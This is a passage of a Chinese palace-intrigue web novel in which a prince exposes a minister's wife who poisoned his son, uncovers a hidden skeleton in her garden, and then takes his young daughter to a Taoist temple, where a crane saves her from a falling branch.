事情一如他所料,周大海出了王府刚进家门,徐师傅便现了身,萧二马上将他拿下,几番逼问之下,招出了一直以来,都是一位姓周的老嬷嬷给他下的命令。
得知周大海回京,那位周嬷嬷让他即刻便去打探消息,然后送到一个茶楼里。
萧宁辰命萧二将徐师傅送回王府,自己赶到茶楼,将周嬷嬷打晕扛了回来。
昏暗的地牢里,墙上挂满了各种刑具,阴森可怖。
萧元珩打量了一眼周嬷嬷,衣衫精致,钗环不凡,张口便问:“说吧,你是谁家的嬷嬷?你的主子是谁?为何对我儿下手?”
周嬷嬷何曾见过这样的场面,吓得浑身发抖,但想到一旦招认,便是杀身之祸,咬紧了牙关,一声不吭。
萧元珩笑了:“倒是个忠仆。来人,将她绑了,敲锣打鼓游街示众,走着送到京兆府,告诉所有人,此人潜入宁王府,意图暗害本王,当场被抓,罪无可恕。”
“本王倒要看看,到时候,你的主子会不会出来救你,你的家人儿女,还有何面目活在这世上!“
“是!“萧二上前一步,拎起周嬷嬷的领子就要往外走。
周嬷嬷大惊:“堂堂宁王!你!你怎能空口白牙诬陷老奴!“
萧元珩唇角一勾:“你都下毒暗害本王的儿子了,本王诬陷你难道不是理所应当?“
萧宁辰一脸崇拜地看着自家爹爹,难怪父亲在战场上所向披靡,这不按常理却直击要害的做法,无论对方是谁,都只有被碾压的份儿。
“不!不要送我去!“周嬷嬷惊慌失措,奋力挣扎。
宁王征战四方,保社稷黎民安危,无论是朝堂还是民间,皆威望极高。
若当真被他这样一番处置,自己必死无疑不说,家人都会被连累,恐怕从此便永无翻身之日。不,是从此就成了过街之鼠,再没脸面活在这世上了,这跟诛了九族有何区别?
萧二毫不容情,拖着人已经走到了门口。
周嬷嬷彻底崩溃,大喊着:”我招!我全招!别送我去!“
萧二这才把她又拎回到萧元珩面前,往地上重重一扔。
周嬷嬷被他摔得七荤八素,头上的钗环都掉了下来,披头散发,涕泪横流:“老奴,老奴是赵尚书的嫡妻林氏身边的。“
萧元珩眉头微皱:“工部尚书赵衡,林襄月夫妇?他们为何要对我儿下毒?“
“是是!“周嬷嬷心知事到如今,已然无路可走,只能从实招认。
“那隆昌镖局,表面上是林夫人娘家哥哥的产业,其实真正的东家,实际是,是林氏和赵尚书。借由镖局出面,夫人在很多地方,都开了商铺和买卖。”
“夫人她……她早就眼红王府商行的生意了。所以,命老奴在镖局中寻个稳妥的老人儿,一直盯着商行的动静。直到,直到发现了周大海送回家中的家书和银票。”
“夫人觉得这是个可趁之机,于是就,就吩咐人接走了周大海的媳妇跟孩子。”
“如今人在何处?有几人看管?”萧元珩马上打断了她。
周大海猛地抬起头来,感激地望向他。
“就在南郊,平桥镇,张家庄的井边巷里,最靠里头的那家便是,只有两个嬷嬷守在那里,并没旁的人看着。“
“萧二,派几个人,去把人接回来,将那两个负责看管的嬷嬷也带回来。“
“是!“萧二转身出去安排。
“多谢王爷!多谢王爷!王爷大恩,小人粉身难报!“周大海扑通一下跪下了,不停地磕头,自己的妻儿,终于保住了。
萧元珩并未动容,指了指周嬷嬷:“你,接着讲。“
“夫人本来打算,让周大海就范,命他将账本偷偷拿出来,摸清王府商行的底,就能…就能处处抢先一步,断了商行的财路,将商行的主顾们都接手过来。“
“怎知大少爷是个经商奇才,怎样都占不到丝毫的便宜,反倒事事被他牵制,生意每况愈下。夫人她
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,便动了杀害大少爷的心思。“
周嬷嬷抬头偷看了一眼萧元珩的脸色,又迅速低了下去。
萧元珩一言不发的俯视着她,片刻后:“萧二!将她拉出去送京兆府!“
周嬷嬷大惊失色:“王爷!老奴都招了啊!你怎能食言?“
萧宁辰也惊讶地看向父亲,这个老嬷嬷显然是此事的关键人证,留着她指认工部尚书夫妇才对啊,为何此时要送京兆府?
萧二一步一步向她逼近,周嬷嬷倒着向后爬去,脸色越来越白。
待萧二走到她面前,她已经杀猪一般地嚎了出来:“我不去!我不去!“
萧元珩起身站起:“你这个刁钻的老奴,说一半藏一半的,本王留你何用?“
周嬷嬷面如死灰,没想到自己的心思,早已被宁王看透。
眼看着萧元珩就要往外走,萧二的大手已经落在自己身上,周嬷嬷拼命挣扎:“我说!我全说!“
萧元珩这才又坐了回来。
萧二放开了她,周嬷嬷这次是真的不敢再有丝毫隐瞒了:“夫人之所以要杀大少爷,是因为,因为赵尚书挪用了去年修缮漕河堤坝的官银去填补了自家生意的亏空。“
“本想着很快就能将王府商行的生意挤垮,可…可谁成想!王府商行在大少爷的经营下,非但没被挤垮,反而…反而生意越发红火,还,还抢走了自家的很多大主顾!“
“眼看着这窟窿越捅越大,就要瞒不住了,夫人彻底慌了!这才…这才起了杀心,吩咐将**交给周大海,让他毒杀了大少爷。“
“夫人担心,若大少爷暴毙,周大海被官府捉拿查案,搞不好受不住刑罚招出些什么,所以才,才寻了这种**,想让大少爷看起来是,是重病而亡。“
周嬷嬷趴在地上磕头如捣蒜:“老奴知道的就这些了,真的已经全都说了!请王爷明鉴!“
萧元珩依旧没有放过她:“尚书府外的事情,你既然都知道如此清楚,那他府内的事情你一定也知道。接着讲。”
周嬷嬷猛地直起身子,如同看见了阎王一般眼中全是惊恐。
第49章 老爷爷,你会画画吗
她咬了咬牙,把心一横:“王爷明察秋毫,老奴可以将府内的事情也全说出来,但老奴有一请求,还请王爷允准。”
“讲。“
“老奴说出一切,性命必然不保,请王爷莫要再追究老奴的家人,让他们,让他们,从这件祸事里脱身,离开京城,去别处安家立命。“
萧元珩点了点头:“本王准了。你一人作恶,便一人承担去吧。”“
周嬷嬷跪直了身子,恭恭敬敬地给他行了个大礼。
“夫人在府中掌管内宅,外面的生意又都是挂在夫人娘家的名下,因此,镖局的账册就藏在夫人寝室的墙上,那副,山水清音图后面的密盒里。“
萧元珩点了点头,摆了摆手,在一旁书写口供的文书急忙走到周嬷嬷面前,将朱砂印色递到她面前:“按手印吧。“
周嬷嬷抬起手,颤颤巍巍地蘸了朱砂,按在了供书上,随即闭上眼睛,已是万念俱空。
萧元珩吩咐:“将这两人单独关押,看好了,不可走失,亦不可自尽。“
“是。“萧二一手一个,亲自带着他们退了出去。
萧宁辰此时对自家爹爹已是佩服的五体投地,明白那账册至关重要,上前一步:“父亲!儿子这就去,将那账册偷出来!“
“偷?“萧元珩微微一笑:”为何要偷?为父要光明磊落地去搜!“
“你即刻持王府令牌,将京兆府尹李靖传到王府。就说本王要见他,不要与他多说一个字。赵衡身为工部尚书,久在京城,不好说他是否与京兆府尹私下有何勾连。”
父亲果然算无遗策,连这个都想到了,萧宁辰心中拜服:“是!儿子遵命!“转身离去。
萧元珩站起身回到了养正轩。
团团已经醒了,程如安正陪着她在用膳。
“爹爹!“团团看到萧元珩,马上扑了过来:”你怎么走了这么久啊!我好半天没看见你了。“
萧元珩一把将她抱起来,坐在桌边:“爹爹去查害你大哥的坏人了啊,所以才没有陪着团团。这不,爹爹办完事就来陪你用膳啦。“
“害大哥哥的坏人?不是被大珠子找到了吗?“团团很奇怪。
“那个人啊,他只是受人指使,爹爹要把指使他的坏人也抓住,那才是真正的大坏蛋。“萧元珩夹了一块鸡肉,喂给了女儿。
团团张嘴吃了,歪着小脑袋:“害大哥哥的,不止一个坏蛋?”
“团团真聪明!“
“王爷?”程如安忍不住想问清楚。
萧元珩看了看女儿,摇了摇头,程如安明白了,丈夫不想让女儿听这些事,于是也就不再追问。
“爹爹!我都睡醒了,大哥哥还没醒呢!“团团不高兴地嘟起了小嘴。
”他会醒的。“他看向妻子:“用完膳,请郭太医再过来瞧瞧辰儿罢。“
“好。“一家三口用完了晚膳,走进内室,萧宁远依旧紧闭双目,丝毫未动,但脸色红润,胸口微微起伏,像是睡着了一般。
萧宁珣也来了:“父亲,母亲,大哥他还没醒吗?“
程如安一脸愁容地摇了摇头,虽然郭太医说毒已清,但只要儿子没醒,她的心就依旧紧紧地提着,放不下来。
“见过王爷,王妃。“郭太医进来行礼。
“郭老,烦请再给远儿看看。“
“是。”郭太医急忙上前,诊治了一番:”王妃不必担心,大少爷只是疲惫,会醒过来的。“
萧宁辰大步走了进来:“父亲,京兆府尹李大人已在院外候着了,周大海的家人也接回来了。“
程如安诧异地抬起了头,京兆府尹来做什么?
萧元珩面沉如水:“带上所有的人证物证,点齐两百侍卫,本王要亲自登门问罪这位尚书大人。”
“是!儿子愿跟随父亲同去!”萧宁辰和萧宁珣异口同声。
团团抬起头:“二哥哥,三哥哥,你们要跟着爹爹去哪儿啊。”
萧元珩摸了摸女儿的小脸蛋:“爹爹要去抓害你大哥哥的坏蛋。”
团团马上精神了:“我也要去!”
萧元珩一愣,刀光剑影的,怎么能带着才五岁的小女儿去?
“团团听话,在家里陪着你娘亲。”
团团一听,爹爹和哥哥们要去打坏蛋不带自己,那怎么行:“不嘛,我就要去!“
萧元珩犯了难,求助地看向妻子。
程如安把团团搂到怀里:“团团乖啊!这个坏
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蛋呢,他……很大,会有危险哦,所以爹爹才不让你跟着。”
萧宁辰和萧宁珣在一边听着,使劲抿住了嘴才憋住了没有笑出声。
“可是,娘亲,你答应过我,等爹爹查到害大哥哥的坏蛋,就让爹爹带我去打他,爹爹和哥哥们不怕,团团是爹爹的女儿,也不怕,再大都不怕!“
团团委委屈屈地靠在娘亲的怀里,嘟囔着。
程如安一时语塞,自己……好像确实说过这么一句,这孩子怎么记得这么清楚!
她看了一眼床上的萧宁远,眼睛一亮:“可是,大哥哥就快醒了啊,团团要是去了,大哥哥睁开眼,团团可就看不到啦。“
“啊……“团团皱起小脸,真心地犯起了愁。
程如安放心了:“所以呢,团团就陪着娘亲,守在这里,等着大哥哥睁眼,好不好?“
团团非常认真地想了又想,又想跟着爹爹和哥哥们打坏蛋,又想看着大哥哥睁开眼,好难哦!
突然,她的目光落在了郭太医的脸上:“老爷爷,你会画画吗?”
郭太医突然被点名,愣了一下随即赶紧回答她:“老夫会一些,不知小小姐想让老夫给你画些什么?“
其他人也都被她这一句话给问懵了,画画?画什么?
“太好啦!“团团蹦了起来,走到萧元珩的身边,拉起他一只大手就往外拽:”老爷爷!大哥哥要是睁开眼,你就把他画下来!我跟着爹爹去打坏蛋,回来不就能看到了嘛!“
郭太医瞠目结舌,其他人啼笑皆非:亏她能想得出这个主意!
程如安张了张嘴,实在想不出其他的理由了,无奈地看向了丈夫。
萧元珩心里那个喜欢啊:这才是我的女儿!如此聪慧,还什么都不怕!他长臂一伸,捞起女儿,使劲亲了她的脸蛋一口,把她紧紧地搂在胸前,简直喜欢到了心坎里。
“好!爹爹带你去!不过,说好了啊,你跟着你三哥在外面等着,爹爹进去打坏蛋,抓住了坏蛋咱们一起回家!”
“嗯!好!”团团满意了。
萧宁珣走上前接过了团团,萧元珩大步走出了养正轩,带着浩浩荡荡一队人马,杀向了工部尚书府。
第50章 这府中还有命案?
夜幕低垂,华灯初上。
宁王府的侍卫们直接将工部尚书府围了起来。
萧二上前扣响大门,下人将大门才打开一道缝隙,侍卫们便直接冲了进去。
此时,林襄月正在内宅里焦急地等待周嬷嬷回来禀告萧宁远的情形。
怎么还没回来?莫非……是出了什么事?不会,能出什么事!萧宁远已经吃了一个多月的**,这个时候都差不多应该咽气了。
她在屋内来回踱着步,门外响起了下人的声音:“夫人,老爷请您去一趟前厅。”
“什么事?”她脚下一顿,不久前才一起用过晚膳,怎么又让自己过去?
“小人不知,老爷只说,请夫人即刻前去。”
“知道了。“林襄月照了照镜子,整理了一下衣裙,稳住心神,扶着一个婢女,迈出了房门。
刚走出内宅的院落,她便发现不对,很多生面孔的侍卫守在院外,看衣饰并非自己府内的家丁。
她的脚刚想缩回,萧宁辰已经站在一旁:“见过林夫人,家父宁王登门造访,请夫人移步前厅。“
林襄月脸色大变,宁王!脚下一软,险些摔倒,还是婢女及时撑住了她:“夫人!怎么了?不舒服吗?“
对对对,我不舒服!
“这位小公子,我有些头晕,就不去给宁王请安了。“她转身就想回去,萧宁辰将承影横在她面前:”夫人,请吧。“
承影寒光四射,林襄月一介妇人,哪里见过刀剑离自己如此之近过,顿时浑身一抖:“呃……好,好,我这就去,这就去。“
只得再度转身,脚步踉跄地往前厅走去。
萧宁辰收起承影,给萧二使了个眼色,让他在后面跟随押送,不可给她丝毫可趁之机。
萧二点了点头,快步跟了过去。
萧宁辰带着两个侍卫,转身走进了内宅。
前厅,萧元珩一身衮龙袍,坐于上首,工部尚书赵衡和京兆府尹李靖坐在他左右两侧,地上跪了一片:周大海,徐师傅,周嬷嬷,看守周大海家人的两个嬷嬷,全都在。
桌上还放着那个黑色的瓷瓶。
林襄月刚走进去,见到这情形,直接软倒在地。
她一脸惊慌地望向自己的丈夫,赵衡脸色铁青,怒目而视:“**!”
“竟背着我做出如此恶行!你自己不要命,还要牵连我和孩子们不成!”
这句话犹如晴天霹雳,令林襄月清醒过来,是啊,宁王已经知道了一切,只有自己全都认下来,尚书府才有可能从此事里脱身。
否则,自己的儿子,他可刚进了国子监,前途大好啊!若这件事情牵连到他,那将来的仕途和官声,便要毁于一旦了。
她跪倒在地,满脸泪水:“老爷!是我利欲熏心,一时糊涂了!”说完便冲着萧元珩磕了个响头:“王爷!都是臣妇一个人的错!与我夫君和孩子无关,请王爷治罪!”
萧元珩面无表情:“你认得倒快。”
林襄月不停磕头:“请王爷高抬贵手!莫要牵连旁人!”
萧元珩一言不发,任由她磕头磕的额头都渗出了鲜血。
萧宁辰捧着一个盒子走了进来,放在了父亲身旁的桌上。
林襄月认出了那盒子,顿时哑然,连磕头求饶的力气都没有了。
萧元珩打开一看,里面全是账簿,直接掀翻全部倒在了桌上,随手拿了一本,翻了几页,微微一笑,递给了京兆府尹李靖。
李靖连忙接了过去,仔细翻看。
赵衡死死地瞪着那些账簿,眼中全是震惊和愤怒,不明白自家府中的隐秘,如何就全被外人知道了去。
“这!王爷,”李靖放下账簿,拱手行礼,“此案已涉及贪墨官银,京兆府不敢擅专,如何了断,请王爷明示。”
赵衡再也坐不住了,心知大势已去,再无分辨推卸的余地,长叹一声,跪倒在地。
萧元珩一脸正色:“李大人,此案如今人赃并获,铁证如山!赵家所犯之罪,罄竹难书!”
“其一,戕害皇族!以**杀害我儿,意图令其毙命。”
“其二,贪墨国帑!赵衡身为工部尚书,竟敢挪用修缮河堤之官银以充私囊,致使河防隐患,视百姓性命如草芥!”
“其三,纵容妻族,倚仗官势,经营镖局,**结!”
“此案确已非京兆府一衙可断。即刻将人犯、证物,移交大理寺!李大人,你亲自押送
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“是!下官遵命!“李靖看了看跪了一地的人,将账簿和瓷瓶仔细收起:”赵大人,请吧。“
正在此时,一个侍卫跑了进来:“启禀王爷!三少爷和小小姐在花园中发现了一具白骨!请您过去看看。“
萧元珩皱起了眉头,团团?马上站了起来:“白骨?这府中还有命案?“
赵衡猛地抬起了头:“什么白骨?“
林襄月脸上却全是惊慌失措。
萧元珩撇了他二人一眼,心下已有猜测:“李大人,既然还有命案,便请与本王一同过去看看吧。萧二,带上他二人。“
“是!“李靖擦了擦额头的汗水,这赵大人府上,怎么这么多案子!京兆府这下可是要忙了。
一行人来到了花园。
“爹爹!“团团正坐在三哥哥的怀里到处张望,看到萧元珩,伸手就要抱。
萧元珩急忙把她接了过来,“吓到了吗?团团?“
团团摇了摇头,十分得意:“爹爹!是我找到的呢!你看!在那儿!“说完小手一指旁边的一堵不起眼的假山。
侍卫们早已用火把照亮了整个花园,萧元珩定睛看去,那假山并不高,连成一片,女儿手指的正是其中的一块石头。
看起来与旁边的山石并无不同,布满了青苔。
萧宁珣解释道:“父亲,儿子本想带着团团在花园里随便走走,来到这里时,团团说,这块石头很奇怪,跟其他的石头都不一样,想要把它推开,看看藏了什么东西。“
“儿子见她推不动,就帮了一把。没想到,里面竟露出了一具白骨,儿子怕吓到她,就又将其推了回去。”
“父亲请看。”萧宁珣说完便向刚才一样去推那石头。
石头被缓缓挪动,偏移了原来的位置,同时,“咔哒……”
传来了一声机括轻响,萧宁珣站起退到一旁。
石头随即缓缓向后滑开,“轰隆隆……”一阵沉闷的响声过后,那看似浑然一体的假山石壁,竟应声向内旋开。
露出了一个处于地下的密室,室内不大,更像是一个被打开的棺椁。
浓重的土腥气和某种难以言喻的腐朽气味,从里面飘了出来。
第51章 去看道长爷爷!
萧元珩捂住了团团的小鼻子,团团皱了皱鼻头,抬起小手,也捂住了爹爹的鼻子。
萧元珩笑了:“乖孩子!”
萧宁辰从侍卫手中拿过一个火把,往里面照去。
只见密室之中,静静地躺着一具已经化成了白骨的女尸。
之所以是女尸,是因为,骨头虽已全部白化,但衣裙饰物尚且都在。
李靖皱了皱眉:“赵大人,这是你的府中,此人是谁?”
赵衡走上前只看了一眼,便已认了出来:“若梅?她怎么会在这里?”
他回头看向林襄月:“你不是告诉我,若梅家中长辈急病,她回乡探亲去了?她迟迟未归,我派人去她家查问,你又说恐是路上遇到了匪人……”
他双目圆睁,眼中全是怒火:“是你!竟然是你杀了她,还把她藏在了这里?”
萧元珩听到这里,已猜出了大概,他不愿女儿再听到什么污言秽语,将她交给萧宁珣,抬起下巴向门外一抬。
萧宁珣会意,急忙抱着妹妹向外走去。
团团冲着他伸着小手:“爹爹!“
“乖,这里气味不好,你先去,爹爹这就来。“
“哦!“团团这才老老实实地在三哥的怀里坐稳了随着他向外走去。
林襄月此时已面如白纸,却毫无惧色:“对!是我!这个**把你迷得神魂颠倒,我怎能容她!我若不下手,难道还等她生**种,与我儿相争?”
“你!”赵衡怒不可遏地冲向她,一把便掐住了她的脖子:“你这个**!害了若梅,还胆大包天去害宁王之子!”
“若不是你胆大妄为!我岂会落到如今这步田地!”他使尽了全力,只想把眼前的女人活活掐死。
好几个侍卫们冲上来,半天才将两人分开。
萧元珩心里惦记着闺女,无心看尚书府的恩怨情仇:“李大人,京城命案是你管辖,此事,便由你权权处置。萧二,你带着二十人留下协助李大人,本王回府了。”
“是!”李靖和萧二躬身行礼。
萧元珩大步往外走去,团团呢?又跑哪儿去了?
刚走出没多远,就看到团团正蹲在地上捡起了什么东西,开心地放进了自己的小绣囊中。
萧元珩微微一笑:“走!团团!咱们回家!”
团团扑了过来:“爹爹!那个大大的坏蛋,打完了吗?”
萧元珩把她抱在怀里,示意一旁的萧宁珣跟上:“打完啦!欺负咱们家人的坏蛋,爹爹一个都不会放过。“
“爹爹真好!“团团把小脸埋进他的脖颈:”我好困啊,爹爹。“打了个小哈欠。
“那就睡!就在爹爹怀里睡。“
“嗯。“团团闭上了双眼。
萧元珩紧紧地抱着女儿,大步走出了工部尚书的府邸。
翌日一早,团团睁开眼睛,一骨碌爬了起来:“娘亲!”
“来啦!来啦!”程如安听到女儿叫自己,三步并作两步走了进来:“团团醒了?’
“大哥哥呢?他醒了吗?“团团始终都挂念着,还没看到大哥哥睁眼呢!
程如安怔了一下:“还没有,大哥哥还在睡,一直都没有醒来。”
“还没醒啊,我去看看他!”
“好,别急,娘亲给你把小衣服穿好,咱们先用早膳,然后娘亲陪你一起去看大哥哥。”
“好。”
很快,母女二人便一同来到了养正轩。
萧宁远依旧沉睡,面容非常安详,只是仍未苏醒。
团团趴在床边,摸了摸他的大手:“大哥哥,我都睡醒了,你怎么还在睡啊。”
程如安赶紧安慰她:“郭太医今早給你大哥哥诊过脉了,说你大哥哥急着赶回家,路上累坏了,恐怕还要再睡几天才会醒,好团团,别担心了。”
团团点了点头,把脸凑了过去,蹭了蹭萧宁远的手:“大哥哥,你快些醒吧,醒过来陪我玩,我有大猫咪了,也带你去摸它,好不好?”
程如安又心酸又无奈,这孩子,对自己的几个哥哥是真好。
“团团想大猫了?让三哥带你去看看它好不好?”
团团抬起头,想了想:“不了,我想等大哥哥醒过来,我们一起去看。”
程如安想了想,有心带女儿出去走一走,不必总守在这里干等着:“那娘亲带你去玄穹观吧,咱们一起去给你大哥哥烧香祈福,求神仙**保佑他快点儿醒,好不好?”
“玄穹观是什么?”
“玄穹观啊,是京城里最大的道观,风景很好,那里的观主是一位德高望重的道长。这京城里的人啊,求签问事,都
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会去找他,是个很慈祥的老爷爷。”
“道长爷爷?”团团眼睛一亮,好久没见到道长爷爷了:“我要去!娘亲!我要去看道长爷爷!咱们叫上爹爹,二哥哥和三哥哥一起去,现在就走!”
“现在?”程如安笑了,小孩子真是听风就是雨:“你爹爹和二哥哥去了大理寺,昨晚抓到的大坏蛋,被关在了那里,他们今早才走,还没回来呢。叫上你三哥吧,他在家呢。”
“哦,好吧。”团团有些失望,不过,有三哥哥也行,三哥哥最听我的话了:“我去找三哥哥!”说完撒腿就往外跑。
“慢些!别摔着!”程如安在后面喊:“你们直接去门口吧,我在马车上等你们!”
“好嘞!知道啦!”团团甩下了一句话,人已经跑得没影了。
程如安摇了摇头:“这孩子!”吩咐刘嬷嬷预备车马,安排侍卫随从去了。
母子三人登上马车,很快便来到了玄穹观。
刚在门口下了车,知客小道便迎了过来,看到马车上的五彩玄蛇,便知晓了他们的身份:“宁王府驾到,快请往里面来。”
程如安微笑道:“多谢小师傅,今日玄清**可在观中?”
知客连忙回答:“就在正殿呢。王妃请随我来。“
程如安点了点头,嘱咐儿子:“我先进去拜见道长,你带着团团到处看看,一会儿来正殿找我。“
“是!母亲请放心。“
程如安跟着知客走了。
团团仰起头看着大门,满脸困惑,怎么这么大啊,以前明明很小的,什么时候变这么大了?“
“我道是谁呢,原来是宁王府刚从乡下接回来的嘉佑郡主。怎么,来求三清**保佑你,长公主能一直那般看重你?“一个明显隐含怒气的少女声音传了过来。
团团扭头看过去,只见一个锦衣华服的黄衣少女,后面跟着一个身穿蓝色锦袍的少年,和一个下巴尖尖,一身粉红衣裙的女孩,正向着自己这边缓缓走来。
身后竟乌泱泱跟着几十个下人,阵仗惊人。
那个粉红衣裙的少女开口:“文萱姐姐,这命数啊,是天定的,那出生就被送走的人啊,终是福薄的。这世上又有几人,能像姐姐您一般,天生就是长公主殿下的侄女呢!“
第52章 谢谢你啊,大鸟!
萧宁珣俯身将团团抱起,脸色沉了下来:“霍文萱!你不要仗着从小在长公主殿下身边长大,就想欺负我妹妹!“
霍文萱嘴角一撇。
“还有你!吕倩茹!我妹妹如今是嘉佑郡主,你什么身份?轮得到你来说三道四!“
身穿蓝色锦袍的少年立刻反唇相讥:“萧宁珣!你又是什么身份!敢同文萱小姐这样讲话?我妹妹哪句话说错了?难道她不是从乡下接回来的?“
团团搂着哥哥的脖子轻声问:“三哥哥,他们是谁啊?“
萧宁珣低声告诉她:“穿黄衣裳的叫霍文萱,是驸马家的人,长公主殿下的侄女,从小在长公主身边长大。那两人是兄妹,吕铮和吕倩茹,整日跟在霍文萱身后,是她的小跟班。“
长公主的侄女?皇姑姑家的人?团团有些困惑,她为什么见到自己就生气呢?脸都气歪了。
说话间,三人已走到了他们面前,几个人互相瞪视,谁也不让着谁。
吕铮打量着萧宁珣:“怎么?又想仗着自己有兄长护着,再打我一顿?今日可只有你一个,没那么便宜了!“
团团一听眼前这位被自家哥哥揍过,马上来了兴致:“三哥哥!你打过他啊!为什么呢?“
萧宁珣唇边露出笑意:“小时候的事了,当时他见到街上人家店铺外的小狗,就脚欠地去踢,二哥不让他欺负小狗,他还不听,所以我就和二哥一起揍了他一顿。”
团团拍着小手:“打得好!打得好!欺负狗狗的人就该揍!”
吕铮瞪了团团一眼,脸涨得通红:“那只狗挡了我的路!我凭什么不能踢它!要你们兄弟俩多管闲事!“
萧宁珣冷笑一声:“哦?那是人家的看门狗,用绳子栓在门外的,你是多招人嫌,它才会不拦别人,单单跑去挡你的路?“
“你!“吕铮仍然嘴硬,为自己的挨打找理由:”那还不是因为你们有两个人!欺负我一个!不过,你们也算遭了报应了。“
突然,他反应了过来:“咦,你嘴皮子何时这么利落了?以前在人前可不这样,一句整话都说不出来。“
吕倩茹眼神一闪:“前几天恍惚听人说过,萧宁珣能开口讲话了。今日一见,果真如此,不但能讲话,还会颠倒黑白了。不过,萧宁辰现在还扶着人走路呢吧!“
萧宁珣笑了笑:“你们孤陋寡闻了,我二哥的腿已经好了,吕铮,你最好小心点儿,他的脾气可不如我好,武功又高,不比小时候了。让他知道你欺负团团,小心他再揍你一顿!”
霍文萱突然插嘴道:“当真?你们都好了?“
萧宁珣微笑着看了妹妹一眼:“那都是因为,有了团团这个小福星啊!“
听到哥哥夸自己,团团开心地抬起小脸蛋,在他的脸上蹭了一下。
霍文萱看着团团,脸色阴沉,小福星!哼!婶母长公主也是这样说她的。
一个乡下野丫头!居然能跟我平起平坐喊婶母皇姑姑?简直可笑!婶母的身边只能有我一个掌上明珠!我才是婶母唯一心头肉!
母亲说过,我霍家唯一的依仗唯有婶母一人,绝不能让她分走一分一毫婶母的宠爱!
萧宁珣用眼角的余光留意着霍文萱,直觉这位娇生惯养的大小姐对妹妹充满了敌意,不想再与他们纠缠:“走,团团,哥哥带你去找母亲。“
说完,抱着团团就走进了观中。
霍文萱哼了一声:“咱们也该进去敬香祈福了。“
她走在最前,吕铮和吕倩茹一左一右的把她护在中间,下人们跟在后面,一群人随后也都向正殿走去。
玄穹观内,古木参天,清幽寂静。
一株冠盖如云的千年古松在正殿外巍然而立,树冠高处,隐约可见一精巧鹤巢,两只羽翼雪白、姿态优雅的仙鹤正卧于其间休憩。
松下设有石桌石凳,苔痕斑驳,雅致宁静。
萧宁珣把团团放在石凳旁:“团团,累不累?坐一会儿吧,母亲就在里面,咱们在这里等她出来。“
霍文萱抢前几步,来到二人身边,脸上挤出一丝亲热的笑意,伸出手,像是要为团团拂去肩上灰尘:“嘉佑郡主这身衣裳真是好看,怎么这里落了灰呢?“
萧宁珣诧异地看向她,明明不喜欢妹妹,这又是干嘛?
他却没有看到,霍文萱低垂的眼底,正滑过一抹阴狠。
她的手微微一偏,暗中用力,想将团团推向旁边湿滑的石凳:石头这么硬,但愿能磕死你!
就在她的指尖即将触碰到团团肩膀的刹那,
一阵山风呼啸而过,吹得树上松针簌簌作响。
只听头顶传来一声细微的“咔嚓”声,一截尺许长的枯枝自高处的鹤巢旁被风折断,直直地朝着团团的头顶坠落。
“团团小心!”程如安惊呼出声。
刚巧玄清道长和程如安正往外走到正殿门口,目睹了这一幕。
霍文萱抬头一看,收回了自己的手,往后退了几步,唇角噙笑,真是老天有眼,砸死她更好,省得脏了自己的手。
萧宁珣则正注视着霍文萱,待发觉她神
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色不对,再抬起头看到时已经来不及做出任何反应了。
电光火石之间,树上正休憩的一只仙鹤蓦然发出一声清越嘹亮的长鸣,雪翅倏地展开,身形如一道白色闪电般疾冲下来!
就在那枯枝离团团的头顶不足半尺之际,仙鹤长颈一探,喙如金钩,精准无比地一口衔住了那截枯枝!
“吁——”程如安抚了抚胸口:“祖宗保佑!”
随即扭头,看向身边的玄清道长:“这仙鹤竟如此通灵性!果然不愧是久在观中啊!”
玄清道长盯着团团,目光闪烁。
萧宁珣心中一阵后怕,一把将团团抱了起来:“没事儿吧团团?吓死哥哥了。”
“我很好啊!三哥哥,别怕别怕。”团团学着娘亲安慰自己时的模样,轻轻摸了摸他的头顶。
其他众人见状,不禁低声议论了起来。
“这小女娃还真是运气好,那么大一截树枝子从高处掉下来!这要是砸到头上,肯定非死即伤啊!居然被一只仙鹤给救了!“
“是啊!简直闻所未闻!“
“难怪刚才那位公子说她是小福星呢!“
“你不知道吗?长公主殿下也这样说她呢!还恩准她喊皇姑姑呢!“
“是吗?难怪能得长公主的青睐,还真是个小福星!“
霍文萱听着这些窃窃私语,脸沉了下来。
吕倩茹一直盯着她的脸色,一看便知她心中已然极为不快,连忙回头喝止:“都闭嘴!“
下人们赶忙住了嘴,个个噤若寒蝉。
团团安慰完了哥哥,仰起小脑袋,乌溜溜的大眼睛里毫无惧色,反而兴奋地举起了小手,对着仙鹤不停挥舞:“谢谢你呀,大鸟!”
仙鹤嘴中此时还衔着那截枯枝,正在空中盘旋,听到团团的声音后,像是回应她一般,再次发出一声长鸣,低飞到众人的头顶处,长喙突然一松。
那截枯枝,连同它喙上沾着的一点泥水,不偏不倚,啪嗒一声,尽数落在了霍文萱梳得一丝不苟的发髻和她那身价值不菲的缕金杏黄缎裙上。
枯枝随即滚落在地上,几点泥污从她的发髻上滴滴答答落在月白色的衣领上向外晕开,格外刺眼。
霍文萱只觉得先是头上一沉,再是颈间一凉。
她下意识地抬手一摸,整个人都僵住了,脸上的血色瞬间褪得干干净净,随即又因满心的羞愤涨得通红。
“啊——!”一声尖锐到变调的尖叫划破了道观的宁静。
“我的头发!我的衣裳!这该死的畜生!!”
第53章 不是旁人,是家人
程如安皱起了眉头,长公主殿下的侄女,如此失态,那是丢了长公主的脸啊。
她转头对玄清道长道:“劳烦观主了,请腾出一间静室,给她更衣净手吧。”
玄清道长点了点头,吩咐听到霍文萱尖叫而**过来的小道士们:“送他们去后院,寻一间静室给她。”
“是!”小道士连忙上前:“诸位请随我来。”
吕倩茹扶着霍文萱,跟着他急忙向后院走去,吕铮是男子,不方便跟过去,只能在外面等候她们出来。
程如安冲儿子招手,萧宁珣走到她面前,面露羞愧:“母亲!是我没护好妹妹,险些让她出了事,请母亲责罚。”
团团一把搂住他的脖子:“娘亲!三哥哥很好,不要罚他!”
程如安微微一笑:“娘亲不会的,来,团团,下来,这是玄清**,这间玄穹观的观主,给道长行礼。”
团团仰起头,只看到玄清**的胡须随风飘着,看不到脸:“道长爷爷!抱!你的胡子怎么长这么长了啊!我找到了爹娘,你跟我回家去住好不好?”
玄清**被她叫得心里一颤,低头看她,这小娃娃见过贫道?
一大一小互相对视了片刻。
团团使劲张着两只小胳膊:“道长爷爷!你以前最喜欢抱我的啊!我现在捡来的东西都放在家里一间大大的屋子里!不会再往你这里藏啦!你不用怕了哦!”
程如安和萧宁珣听得一头雾水:团团何时来过玄穹观?还叫观主道长爷爷?
玄清**把团团抱了起来,团团坐得高了,这才看清楚:“咦,你不是道长爷爷!道长爷爷的这里,”她伸出小手,指了指自己的右边嘴角的上方:“有一个黑黑的点点!”
玄清**微微一笑:“小郡主见过与贫道相似之人?”
